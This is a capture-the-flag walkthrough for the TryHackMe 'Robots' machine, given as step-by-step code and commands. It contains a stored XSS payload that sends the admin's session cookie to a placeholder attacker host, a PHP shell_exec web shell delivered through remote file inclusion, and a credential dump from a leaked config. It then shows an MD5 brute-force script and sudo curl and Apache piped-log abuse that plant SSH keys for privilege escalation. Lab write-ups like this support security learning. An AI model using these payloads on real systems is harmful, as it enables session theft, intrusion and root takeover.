Box: Robots · Platform: TryHackMe · Category: Web · Difficulty: Medium

Enumeration

Port / Service Fingerprint

1
2
3
22/tcp   open  ssh     OpenSSH 8.9p1
80/tcp   open  http    Apache/2.4.61 (Debian)  — returns 403 on /
9000/tcp open  http    Apache/2.4.52 (Ubuntu)  — default page

The Nmap service banner sets the hostname to robots.thm — add it to /etc/hosts.

robots.txt

1
2
3
Disallow: /harming/humans
Disallow: /ignoring/human/orders
Disallow: /harm/to/self

Three paths themed after Asimov’s Three Laws. Only /harm/to/self contains a real application.

Directory Enumeration

1
2
gobuster dir -u http://robots.thm/harm/to/self/ \
  -w /usr/share/wordlists/dirb/common.txt -t 30
1
2
3
4
admin.php    302 → robots.thm (requires auth)
index.php    302 → robots.thm (register / login)
register.php 200
login.php    200

Step 1: Steal Admin Session via XSS

The registration form reflects the username field without sanitisation and the note says “An admin monitors new users.” The server_info.php page leaks the current PHPSESSID in its response body.

Payload registered as the username:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<script>
var x = new XMLHttpRequest();
x.onreadystatechange = function() {
  if (x.readyState == 4) {
    var m = x.responseText.match(/PHPSESSID=([a-zA-Z0-9]+)/);
    if (m) fetch("http://ATTACKER/exfil?c=" + m[1]);
  }
};
x.open("GET","http://robots.thm/harm/to/self/server_info.php",true);
x.send(null);
</script>

Start a listener (python3 -m http.server 80), register, and wait for the admin bot to visit the user list. The exfiltrated cookie arrives as a GET parameter.

Step 2: Code Execution via RFI

admin.php presents a “Test url” form. The server-side handler uses PHP include() on the supplied URL — a Remote File Inclusion sink.

Host a PHP file on the attacker machine and submit its URL through the admin panel:

1
<?php echo shell_exec($_GET['c'] ?? 'id'); ?>

Because include() executes the fetched PHP on the target’s engine, output is returned inside the admin.php response body. No reverse shell required for enumeration.

Step 3: Extract DB Credentials

1
<?php echo shell_exec('cat /var/www/html/harm/to/self/config.php'); ?>

config.php reveals:

1
2
3
4
$servername = "db";
$username   = "robots";
$password   = "q4qCz1OflKvKwK4S";
$dbname     = "web";

The container has no MySQL client, but PHP PDO works:

1
2
3
4
<?php
$pdo  = new PDO("mysql:host=db;dbname=web","robots","q4qCz1OflKvKwK4S");
$stmt = $pdo->query("SELECT * FROM users");
while ($r = $stmt->fetch(PDO::FETCH_ASSOC)) echo implode(" | ",$r)."\n";
1
2
1 | admin    | 3e3d6c2d540d49b1a11cf74ac5a37233 | admin
2 | rgiskard | dfb35334bf2a1338fa40e5fbb4ae4753 | nologin

Step 4: Crack rgiskard’s Password

The registration page states: “Your initial password will be md5(username+ddmm).” The stored hash is md5(md5(username+ddmm)) — a double round.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import hashlib

username = "rgiskard"
target   = "dfb35334bf2a1338fa40e5fbb4ae4753"

for month in range(1, 13):
    for day in range(1, 32):
        ddmm   = f"{day:02d}{month:02d}"
        inner  = hashlib.md5((username + ddmm).encode()).hexdigest()
        outer  = hashlib.md5(inner.encode()).hexdigest()
        if outer == target:
            print(f"ddmm={ddmm}  password={inner}")
            # ddmm=2209  password=b246f21ff68cae9503ed6d18edd32dae

Step 5: SSH as rgiskard → Escalate to dolivaw

1
2
3
ssh rgiskard@robots.thm   # password: b246f21ff68cae9503ed6d18edd32dae
sudo -l
# (dolivaw) /usr/bin/curl 127.0.0.1/*

The wildcard only constrains the first URL argument. Curl’s multi-URL syntax lets us pair a second file:// source with a -o destination:

1
2
3
4
5
# Write our public key to dolivaw's authorized_keys
echo '<pubkey>' > /tmp/id_rsa_pub

sudo -u dolivaw /usr/bin/curl 127.0.0.1/ -o /tmp/dummy \
  "file:///tmp/id_rsa_pub" -o /home/dolivaw/.ssh/authorized_keys
1
2
ssh -i id_rsa dolivaw@robots.thm
cat ~/user.txt

Flag 1 (user): THM{9b17d3c3e86c944c868c57b5a7fa07d8}


Flag 2 (root) — sudo apache2 → Log Injection → Root Shell

dolivaw can run Apache as root without a password:

1
(ALL) NOPASSWD: /usr/sbin/apache2

Apache’s CustomLog directive supports piped logging. When Apache starts as root and serves a request, it pipes the LogFormat string to the shell command. Setting the format string to an SSH public key and the pipe target to authorized_keys writes the key as root:

1
2
3
4
5
6
7
8
ServerName localhost
Listen 7777
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so
LoadModule authz_core_module /usr/lib/apache2/modules/mod_authz_core.so
DocumentRoot /tmp
ErrorLog /tmp/err.log
LogFormat "ssh-rsa AAAA…root-pubkey… kali@attacker" rootkey
CustomLog "|/bin/sh -c 'mkdir -p /root/.ssh && cat >> /root/.ssh/authorized_keys'" rootkey
1
2
3
sudo /usr/sbin/apache2 -f /tmp/evil_apache.conf -k start
curl -s http://127.0.0.1:7777/        # triggers one log write
sudo /usr/sbin/apache2 -f /tmp/evil_apache.conf -k stop
1
2
ssh -i id_rsa_root root@robots.thm
cat /root/root.txt

Flag 2 (root): THM{2a279561f5eea907f7617df3982cee24}


Summary

StepTechnique
Cookie theftStored XSS in username field → XMLHttpRequest reads server_info.php → PHPSESSID exfiltrated
RCE (www-data)Admin panel passes URL to PHP include() → RFI executes attacker-hosted PHP
Credential leakconfig.php read via RFI → MySQL PDO query dumps user hashes
Lateral: rgiskardDouble-MD5 md5(md5(username+ddmm)) brute-forced over all 365 DDMM combinations
Lateral: dolivawsudo curl 127.0.0.1/* wildcard — second URL arg uses file:// to write attacker SSH key
Rootsudo apache2 runs as root — CustomLog piped logger writes SSH pubkey to /root/.ssh/authorized_keys